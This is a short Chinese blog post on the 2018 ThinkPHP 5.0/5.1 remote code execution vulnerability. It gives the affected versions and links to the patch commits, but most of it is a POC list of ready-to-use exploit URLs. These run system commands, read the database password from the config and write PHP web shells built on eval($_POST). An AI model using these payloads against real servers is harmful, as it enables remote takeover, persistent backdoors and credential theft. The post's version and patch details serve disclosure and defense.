0x0 前言
ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。
0x2 影响范围
5.x < 5.1.31, <= 5.0.23
0x3 利用POC
#\think\template\driver\file 类:
index.php?s=index/think\template\driver\file/write?cacheFile=shell.php&content=<?php phpinfo();?>
public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=phpinfo();
#\think\app 类:
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
think\config 类:
index.php?s=index/think\config/get&name=database.password
index.php?s=index/index/loan
http://tp.vsplate.me/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l
http://tp.vsplate.me/public/index.php?s=/index/\think\request/cache&key=ls%20-l|system
http://tp.vsplate.me/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'
http://tp.vsplate.me/public/index.php?s=/index/\think\request/cache&key=1|phpinfo
写shell
/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20phpinfo();?>%27%20>%201.php
/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_POST['pass']);?>%27%20>%20x.php
/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=info.php&vars[1][]=%3C?php%20phpinfo();?%3E
/index.php?s=index/\think\app/invokefunction&function=assert&vars[0]=eval($_POST[1])&vars[1][]=1
补丁
>
Thinkphp v5.0.x补丁地址:https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f
Thinkphp v5.1.x补丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815
本文作者为lufei,转载请注明。